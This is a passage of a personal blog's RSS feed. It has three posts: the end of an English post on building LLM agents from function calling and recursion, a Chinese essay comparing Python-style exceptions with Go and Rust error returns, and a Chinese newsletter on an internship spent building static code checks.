<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> invoke</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">():</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    llm.generate_with_function(</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        prompt,</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">        functions</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">[get_location, get_temperature, send_haiku_to_twitter]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    )</span></span></code></pre>
</div><p>Now we get a simple agent. It is a magic function without input and output, but it can call other functions to make the side effect to send a haiku to Twitter.</p>
<p>Following the concept of &quot;magic function&quot; and &quot;function calling&quot;, we can find a suprising fact: a magic function can call another magic function.</p>
<p>This fact enables unlimited possibilities for the agent, because in this way a agent can command other agents, and again, the other agents can command more agents.</p>
<p>The unlimit controling structure is as powerful as the computer program itself -- do anything if the programmer can write the code.</p>
<hr>
<p>Let's go one step further to the idea of &quot;magic function&quot;.</p>
<p>In the programming world, one of the most powerful ablitity of a function is: Recursion.</p>
<p>If a magic function can call itself, what will happen? In theorey, it can do anything. It can be a general magic function which can solve any task, or so called: AGI.</p>
<p>Let's have a try!</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> task_solve</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(task: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) -> </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">    """</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">    This function can be used to solve a task.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">    """</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    TEMPLATE</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> """</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">There is a task that needs to be solved. The task is:</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">{{</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> text </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">}}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">First, you should check if the task can be solved on your own without tools.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">If yes, you should solve the task directly without tools as possible.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Otherwise you can transform the task into a simpler task. Then you should use the tool to solve the simpler task.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">However, you are forbided to use the tool to solve the original task directly. It can only be used to solve the simpler task.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">After solving the simpler task by the tool, you can now solve the original task with the result of the simpler task.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">Use language the same as the original task.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"""</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    prompt </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Template(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">TEMPLATE</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">).render(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">text</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">task)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    ans </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> llm.generate_with_tools_react(</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        prompt, [FunctionTool.from_defaults(task_solve)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    )</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ans</span></span></code></pre>
</div><p>Very promising, isn't it? But in practice, it just not work. The recursion is a powerful tool, but also dangerous. It can easily lead to infinite loops, and the AI model may not be able to handle it well.</p>
<p>The AI just dives in deeper and deeper, to find every definition of every word, never to return to solve the task.</p>
<p>This is a little disappointing, but not suprising. The professionalism and the universality can not be achieved at the same time by a simple recursion, at least for now.</p>
<hr>
<p>Recently I'm working for <a href="https://www.nebula-graph.io/" target="_blank" rel="noreferrer">NebulaGraph</a>'s GenAI team, to explore the possibility of AI together with graph database.</p>
<p>In this article I explained the idea of using only &quot;magic function&quot; and &quot;function calling&quot; to build any agent, which is what I learned from our team's work.</p>
<p>Code in this article is pesudo code, and you can use <a href="https://github.com/run-llama/llama_index" target="_blank" rel="noreferrer">LlamaIndex</a> to implement the idea in practice. Also some of my code is in <a href="https://github.com/BeautyyuYanli/AgentPath" target="_blank" rel="noreferrer">AgentPath</a></p>
<p>Welcome to follow our further progress. You can find me on Twitter, Telegram, and GitHub with links in <a href="https://yanli.one/" target="_blank" rel="noreferrer">https://yanli.one</a></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[关于异常处理的总结和思考]]></title>
            <link>https://blog.yanli.one/ideas-about-exception-catch</link>
            <guid isPermaLink="false">https://blog.yanli.one/ideas-about-exception-catch</guid>
            <pubDate>Tue, 14 Nov 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[两种不同的异常处理的优劣，以及编程实践中面临的不同场景。]]></description>
            <content:encoded><![CDATA[<p>最近聊到了关于异常处理的问题。最初是 yihong 在频道里分享了 Frost Ming 的文章，我也转发到了自己频道，于是引起了许多朋友的讨论。正好之前在字节的工作中一大痛点也是异常处理的问题，因此也总结一下讨论和我的看法。</p>
<h2 id="两种不同的范式" tabindex="-1">两种不同的范式 <a class="header-anchor" href="#两种不同的范式" aria-label="Permalink to “两种不同的范式”">&#8203;</a></h2>
<aside>
💡 本节摘自 Frost Ming 的文章
<p><a href="https://frostming.com/error-handling/" target="_blank" rel="noreferrer">两种风格的错误处理</a></p>
</aside>
<p>以 Python 为例，抛出异常的方式是：</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> foo</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">():</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    *</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># do something*</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">		raise</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Exception</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"something wrong"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span></code></pre>
</div><p>处理异常的方式是：</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">try</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    foo()</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">except</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Exception</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> as</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> e:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    *</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># handle exception*</span></span></code></pre>
</div><p>以 Go 为例，返回错误的方式是：</p>
<div class="language-go"><button title="Copy Code" class="copy"></button><span class="lang">go</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">func</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> foo</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">() (</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">int</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">error</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    *</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// do something*</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">		return</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, errors.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">New</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"something wrong"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><p>处理错误的方式是：</p>
<div class="language-go"><button title="Copy Code" class="copy"></button><span class="lang">go</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">value, err </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">:=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> foo</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> err </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">!=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> nil</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    *</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// handle error*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><p>看上去它们完成的事情差不多，但如果我们去掉错误处理的代码，不管它，会变成这样：</p>
<p>Python:</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">foo()</span></span></code></pre>
</div><p>Go:</p>
<div class="language-go"><button title="Copy Code" class="copy"></button><span class="lang">go</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">value, _ </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">:=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> foo</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()</span></span></code></pre>
</div><p>两者造成的结果截然不同，Python 会<strong>上报异常</strong>，Go 会<strong>忽略错误</strong>。这代表了两种不同的哲学，前者若不处理错误即上报异常，让上层处理，而后者若不处理错误，则继续执行。</p>
<h2 id="关于-back-out-返回错误-的观点" tabindex="-1">关于 back out （返回错误）的观点 <a class="header-anchor" href="#关于-back-out-返回错误-的观点" aria-label="Permalink to “关于 back out （返回错误）的观点”">&#8203;</a></h2>
<h3 id="支持-back-out" tabindex="-1">支持 back out <a class="header-anchor" href="#支持-back-out" aria-label="Permalink to “支持 back out”">&#8203;</a></h3>
<p><strong>对开发者来说足够明确</strong></p>
<blockquote>
<p><em>来自 Frost Ming</em></p>
</blockquote>
<p>用 Go 语言的时候，你一看它返回了一个 <strong><code>err</code></strong>，脑子就永远有根弦，要么必须写 <strong><code>if err != nil</code></strong>，要么主动用 <strong><code>_</code></strong> 忽略掉错误，采用任何一种方式，就算是再粗心的程序员，都清晰地知道自己在做什么，反而更有利于及时的处理错误。 写 Go 的时候感觉自己一直在 <strong><code>if err != nil</code></strong> 正是因为每一个错误都被兜住了，不会漏掉。</p>
<h3 id="反对-back-out" tabindex="-1">反对 back out <a class="header-anchor" href="#反对-back-out" aria-label="Permalink to “反对 back out”">&#8203;</a></h3>
<p><strong>无法处理的 exception 要层层 return</strong></p>
<blockquote>
<p><em>来自 Frost Ming</em></p>
</blockquote>
<p>尴尬的是，不是所有错误在本函数中都能处理，对于无法处理的错误，只能把错误返回给上层，而上层也不一定能处理，于是就一直 return。</p>
<blockquote>
<p><em>来自 <a href="http://t.me/kazurin" target="_blank" rel="noreferrer">t.me/kazurin</a></em></p>
</blockquote>
<p>每次返回的时候都需要携带一个上下文信息帮助定位错误，否则由于没有 stack trace，错误分析工作会变得非常麻烦</p>
<p>对于非致命错误，go 语言比较通用的做法是在每一层返回的时候用 errors.Wrap() 给 err 附加一层上下文信息，例如 <code>errors.Wrap(err, &quot;failed to open config file&quot;)</code>；rust 的做法是用 anyhow 库的 <code>result.context()</code> 扩展方法，或者自己创建一个用来包装的 enum，与 throw 时带上栈信息的目的是差不多的，实质上都是牺牲了程序员的便利来换取性能。</p>
<hr>
<p><strong>打断链式调用</strong></p>
<blockquote>
<p><em>来自 <a href="http://t.me/yeningxue" target="_blank" rel="noreferrer">t.me/yeningxue</a></em></p>
</blockquote>
<p>我个人的痛点其实就是文章里讲的，有些错误是需要在上层处理的，层层返回实在有点痛苦。我能接受Rust的?，但Go就完全是折磨人了。</p>
<p>有些操作写成链式就很自然，非要我给每一个中间值都想个变量名反而比较困难，把错误放在返回值里就很难写出这种代码了。</p>
<h2 id="关于-bail-out-抛出异常-的观点" tabindex="-1">关于 bail out （抛出异常）的观点 <a class="header-anchor" href="#关于-bail-out-抛出异常-的观点" aria-label="Permalink to “关于 bail out （抛出异常）的观点”">&#8203;</a></h2>
<h3 id="支持-bail-out" tabindex="-1">支持 bail out <a class="header-anchor" href="#支持-bail-out" aria-label="Permalink to “支持 bail out”">&#8203;</a></h3>
<blockquote>
<p><em>来自 Frost Ming：</em></p>
</blockquote>
<p>一个例子是用户交互程序， 你需要把一些关键错误信息显示在界面上，而这个错误的来源，可能是任意层级深度的，这时异常抛出的「直达天听」的优势就显现出来了。</p>
<h3 id="反对-bail-out" tabindex="-1">反对 bail out <a class="header-anchor" href="#反对-bail-out" aria-label="Permalink to “反对 bail out”">&#8203;</a></h3>
<p><strong>bail out 的 exception 没有合理的 catch</strong></p>
<blockquote>
<p><em>来自 Frost Ming：</em></p>
</blockquote>
<p>调用者不知道调用的这段代码会不会报错，报什么错，这就导致程序永远会在无法预料的情况下崩溃。恰巧，现在两种主要的动态语言，Python 和 Javascript，都采用的这种方式。而一些开发者，为了保住 SLO 和 KPI，就会用 <strong><code>try: &lt;一大坨&gt; except: pass</code></strong> 的代码兜底。 底看似兜住了，其实早已千疮百孔。</p>
<hr>
<p><strong>性能缺陷</strong></p>
<blockquote>
<p><em>来自 <a href="http://t.me/kazurin" target="_blank" rel="noreferrer">t.me/kazurin</a></em></p>
</blockquote>
<p>Throw 会带来语言和编译层面的不必要的复杂度，例如 non-local control flow，stack unwinding 等等的。这两种错误处理在底层的实现方式真的会很不一样。</p>
<p>想要打印栈信息的话，编译型语言（指最终编译为机器码的语言）除了 stack unwinding 之外，应该没有能兼顾高效率和无感知的做法（go 和 rust 在发生 panic 的时候都会做 stack unwinding，所以才能看到错误栈）。C++ 的异常处理就是用 stack unwinding 实现的，而 go 和 rust 都只在发生致命错误的时候使用（为了打印栈信息和清理资源）。</p>
<hr>
<p>“bail out 和 back out 各有优劣” 当然是正确的说法，不过我还想进一步讨论一下，异常处理在具体场景下应该怎么做。</p>
<h2 id="batch-型任务和-pipeline-型任务" tabindex="-1">batch 型任务和 pipeline 型任务 <a class="header-anchor" href="#batch-型任务和-pipeline-型任务" aria-label="Permalink to “batch 型任务和 pipeline 型任务”">&#8203;</a></h2>
<h3 id="batch-型任务" tabindex="-1">batch 型任务 <a class="header-anchor" href="#batch-型任务" aria-label="Permalink to “batch 型任务”">&#8203;</a></h3>
<p>batch 型任务指的是，每一个子任务都不影响其后的子任务，例如：</p>
<ul>
<li>
<p>有一批“同质化”的任务，使用的参数是同类的、处理的方法是相同的：</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> bar </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> bars:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">	foo(bar)</span></span></code></pre>
</div></li>
<li>
<p>一个大任务由一些互不相关的任务构成，且大任务应该“尽可能完成”：</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> foo</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">():</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">	bar1()</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">	bar2()</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">	bar3()</span></span></code></pre>
</div></li>
</ul>
<p>这种任务中，我们希望任何一个任务的失败都不会后面的任务。这意味着每一个任务都要 catch 其产生的所有异常，以免打断其它的任务。</p>
<p>“同质化”的任务例如：一个 API 服务器，同一个 API 收到的每个 request 都会用相同的函数处理，一次函数运行如果产生了异常，通常框架会有兜底的 catch，对 request 返回 500 response。</p>
<p>更常见的又例如：一个 for 中写了很长的复杂逻辑，那么这一大段逻辑应该有兜底的 catch，打印日志后 continue 进行下一个 loop。</p>
<p>一个大任务由一些互不相关的任务构成，且大任务应该“尽可能完成”，举个例子比如：游戏中玩家登录的时候，我们要为玩家初始化一系列功能模块。如果在一个功能模块初始化的过程中抛出异常（bail out），那么整个登录流程就被打断，玩家无法进入游戏。如果为每一个模块初始化加上 catch，那么玩家可以正常登录游戏，只有部分异常模块的功能无法使用。</p>
<p>可想而知，对于 batch 型的任务，也许 back out 的写法对开发者更友好。因为这种任务意味着不应该抛出任何异常，使得整个任务失败。</p>
<h3 id="pipeline-型任务" tabindex="-1">pipeline 型任务 <a class="header-anchor" href="#pipeline-型任务" aria-label="Permalink to “pipeline 型任务”">&#8203;</a></h3>
<p>pipeline 型任务则意味着，一个子任务的输出是另一个子任务的输入。此时一个子任务的失败就意味着整个任务的失败：</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> foo</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(a):</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">	b </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> bar1(a)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">	c </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> bar2(b)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">	return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> c</span></span></code></pre>
</div><p>或者链式的调用：</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">foo1().foo2().foo3()</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">bar1(bar2(bar3)))</span></span></code></pre>
</div><p>对于这种类型的任务，bail out 就是比较方便的写法了。如果使用 back out 的语言，那么饱受诟病的 <code>if err != nil</code> 指的就是这种情况了。而 rust 提供的语法糖则相对友好一些。</p>
<h2 id="服务型软件和工具型软件" tabindex="-1">服务型软件和工具型软件 <a class="header-anchor" href="#服务型软件和工具型软件" aria-label="Permalink to “服务型软件和工具型软件”">&#8203;</a></h2>
<p>服务型软件指的是：“开发者”和“用户”有着清晰的分界，抛出的异常不应该让用户感知到，但应该让开发者感知到。</p>
<p>例如一个 GUI 应用，任何情况下都不应该导致程序崩溃。好的做法比如用弹窗提醒用户“该功能出现异常，建议反馈给开发者”。</p>
<p>上文提及的 API 服务器也是同理，任何错误都不应导致服务器崩溃，至少要兜底给用户返回 500 response。</p>
<p>而工具型软件通常意味着，“开发者”和“用户”不是明确分界的，因而异常本身也是接口的一部分。</p>
<p>这可能是一种语言特定的 SDK，例如 Python 的 requests 就会抛出多种 Exception 。这种软件往往允许抛出异常，交给用户（下游开发者）来处理。</p>
<p>当然还有中间地带：允许抛出异常，但只允许事先规定好的异常类型。例如陈皓前辈所提倡的，尽量使用 HTTP status code 表示错误：</p>
<p><em>(<a href="https://archive.ph/G43m3" target="_blank" rel="noreferrer">archive.today 备份</a>)</em></p>
<p><a href="https://coolshell.cn/articles/21672.html#%E5%8E%9F%E5%88%99%E4%BA%94%EF%BC%9A%E5%88%B6%E5%AE%9A%E5%B9%B6%E9%81%B5%E5%BE%AA%E6%9C%8D%E4%BB%8E%E6%A0%87%E5%87%86%E3%80%81%E8%A7%84%E8%8C%83%E5%92%8C%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5" target="_blank" rel="noreferrer">我做系统架构的一些原则 | 酷 壳 - CoolShell</a></p>
<h2 id="世界并不总是非黑即白" tabindex="-1">世界并不总是非黑即白 <a class="header-anchor" href="#世界并不总是非黑即白" aria-label="Permalink to “世界并不总是非黑即白”">&#8203;</a></h2>
<p>现实中，我们写的函数可能有一个链式调用语句，又有一个 for 循环。它不是纯粹的 batch 或者 pipeline。抛出异常有时候可以直接抛出，有时候应该包装为预先规定好的另一种异常，有时又必须兜底处理所有异常。</p>
<p>个人看来，back out 风格的 rust 提供的语法糖似乎是比较好的做法，兼顾了不同的需求。bail out 风格的 Java 似乎也处理的比较好。</p>
<blockquote>
<p>Java 也是用第一种异常抛出的方式，但由于它有完善的异常标注和静态检查，异常也不会随意泄漏导致程序崩溃。—— Frost Ming</p>
</blockquote>
<p>在现实情况下，不同的语言各自又有什么样的 best practice？本文仅当抛砖引玉。</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[花时来信 | 工牌厂打工体验 | #0x04]]></title>
            <link>https://blog.yanli.one/hana-letter-0x04</link>
            <guid isPermaLink="false">https://blog.yanli.one/hana-letter-0x04</guid>
            <pubDate>Fri, 13 Oct 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[因为办公室到处都要刷工牌。]]></description>
            <content:encoded><![CDATA[<p>大家好！最近这封信拖延的时长比我想象的长许多… 当写下这封信的时候，我已经在工牌厂干了三个月并且已经离职了！</p>
<p><img src="./Untitled.png" alt="Untitled" loading="lazy"></p>
<p><em>在离职前看到的网图</em></p>
<p>我刚入职时开始第三季度的 OKR 制定，到离职时最后的会议就是第四季度 OKR 会议，也算是完整经历了一个季度的工作。这个季度对项目来说似乎也称得上重要时期，组里持续了两个月周六加班的高强度工作，终于在我离职当天划上句号。项目正式公布了国服上线时间：</p>
<p><a href="https://www.taptap.cn/moment/461481446108826982" target="_blank" rel="noreferrer">《星球：重启》11月16日公测定档！1500万预约达成！福利限时追加，留言有礼~</a></p>
<hr>
<p>尽管网上对字节的工作氛围多有批评，但我这三个月来的实习体验相当不错。</p>
<p>首先在公司层面上，字节确实是相当“现代化”的一家企业：始终创业、多元兼容、坦诚清晰、求真务实、敢为极致。其中或许有很大的原因在于公司有庞大的海外业务。不管怎么说，我在办公室里确实看到了字节范的每一条。</p>
<p>在部门层面上，虽然不及抖音那样光鲜，但毕竟有了啊手这一大王牌，还称得上体面。主管相当靠谱，常谈论字节范的价值观，对我的实习安排也十分坦诚。同事也很愿意给我提供帮助。这大概就是我能获得良好的实习体验的原因。</p>
<p>不可否认，赶工上线国服的工作强度的确很大，不过我实习期间做的是代码的静态检查，相对独立于主项目，因此也没有承受什么压力。公司的免费三餐和健身馆也很大程度上减少了日常的负担。</p>
<p>说到自己身上。作为我的第一次工作经历，我也由此接触了一个大型项目的运作逻辑和流程，当然也见识了这样庞大的代码库（屎山）为什么是能跑的。而正好我的工作内容也是对代码做静态检查。</p>
<hr>
<p>真实的工作经历也展现出了我的很多不足。在接手静态检查的工作时，前辈给我开了一批工单，对应需要实现的检查规则。然而在离职时，这些工单大部分没有完成——我的主要工作其实是设计实现了一套底层的类型分析，无法直接对应到工单上。</p>
<p>这一方面可以说工单的设置其实不合理，另一方面也可以说我对实际落地效果不够重视。而这件事本身其实也反映出，我对这套基于工单的工作流程不够重视，也缺少跟主管的沟通。</p>
<p>虽然工单流程在我这里有些失效，但我在前辈的催促下确实制订了一个工作分解和估时的时间表。我一直觉得制定时间表是很痛苦的，毕竟我自己也不知道这项工作要做多久。但这可能也说明了能力的不足：如果我对一项工作的实现路径很清晰，那应该是能做出一个靠谱的时间表的。而这也是团队协作的基础。</p>
<p>在答辩时，评委对我的静态检查工作提了一个开放式的问题：“这里成百上千个检查出来的问题，你要怎么推动它们的修复。”乍一听这个问题很没道理，毕竟我只负责静态检查工具的开发，修复当然是交给责任人去修复呀。但细细一想确实如此：很多代码写的不太对，但是能跑，因而也不怎么受重视；而我应该负责的并不只是“静态检查工具”，而是“团队的代码质量”。另一个角度来说，推动别人去做一件我重视的事情，大概也是一项有用的能力。</p>
<p>因此在离职前的最后三天，我又写了个 VSCode 的插件来显示静态检查报告。一来在编辑器里抬头不见低头见的报错，大约更能让人警觉；二来也期望这能帮助大家更轻松地修复问题。</p>
<hr>
<p>谈论软件工程，我学到的一大道理是：屎山其实是能跑的。</p>
